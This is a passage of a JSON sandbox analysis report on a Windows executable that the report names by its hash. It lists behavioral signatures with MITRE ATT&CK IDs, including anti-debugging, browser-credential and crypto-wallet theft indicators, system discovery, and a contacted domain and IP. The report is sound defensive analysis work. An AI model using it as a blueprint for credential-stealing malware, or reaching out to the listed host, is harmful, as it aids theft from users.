\"UnhandledExceptionFilter\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$27","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"C:\\ProgramData\\nss3.dll\" (Indicator: \"\\nss3.dll\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found string \"softokn3.dll\" (Indicator: \"softokn3.dll\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$28","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to encrypt/encode message (API string)\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Tries to steal crypto wallet extension (string)\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"IsWow64Process\" with parameter \"4348\" - (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$29","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f02300000200000000000000000000000000000000000000ba3b0010c722001010f95300f4220010c4f85300c42d061056000000b07800100000000010000000c42d061056000000b078001038330010080000009e36001008000000f63600100174001072bb001010f95300bd3600101cf953005c045b04c42d06105600000008000000b9c10010 (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"Set Size Exceeded.*Error on call Winsock2 library function %s&Error on loading Winsock2 library (%s)\" (Indicator: \"set \"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetMonitorInfoA\" (Indicator: \"GetMonitorInfo\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetMonitorInfo\" (Indicator: \"GetMonitorInfo\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetMonitorInfoW\" (Indicator: \"GetMonitorInfo\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetWindowTextA\" (Indicator: \"GetWindowText\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetForegroundWindow\" (Indicator: \"GetForegroundWindow\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindow\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"EnumWindows\" (Indicator: \"EnumWindows\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardType\" (Indicator: \"GetKeyboardType\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"GetKeyboardLayoutList\" (Indicator: \"GetKeyboardLayoutList\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Contains reference to Borland Delphi related registry entry","description":"\"Software\\Borland\\Delphi\\Locales\" (Indicator: \"\\borland\\delphi\\locales\") in Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-324","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Found registry location string related to processor","description":"Observed string: \"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\" (Indicator: \"hardware\\description\\system\\centralprocessor\") in Source: 00000000-00004348.00000002.71409.025C0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-351","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Queries for Borland Delphi related registry entry","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\BORLAND\\DELPHI\\LOCALES\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-138","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$2c","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"bidbur.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"68.170.2.83:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"CreateFileMappingA\" (Indicator: \"CreateFile\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"yncShellExecute\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004348.00000000.67570.025D0000.00000004.mdmp, 00000000-00004348.00000001.69491.025D0000.00000004.mdmp, 00000000-00004348.00000002.71409.025D0000.00000004.mdmp\")\n Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"FreeResource\" (Indicator: \"FreeResource\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"FindResourceA\" (Indicator: \"FindResource\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"WSASetLastError\" (Indicator: \"SetLastError\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"WSAGetLastError\" (Indicator: \"GetLastError\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains reference to messaging system library (API string)","description":"Found string \"MAPI32.DLL\" (Indicator: \"MAPI32.dll\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1137","relevance":1,"id":"string-571","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"SM0:4348:64:WilError_01\"\n \"Local\\SM0:4348:168:WilStaging_02\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$30","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 769F0000\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73470000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76660000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" was detected as \"Borland Delphi\" and name: \"Compiler\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" was detected as \"Turbo Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$31","origin":"Registry 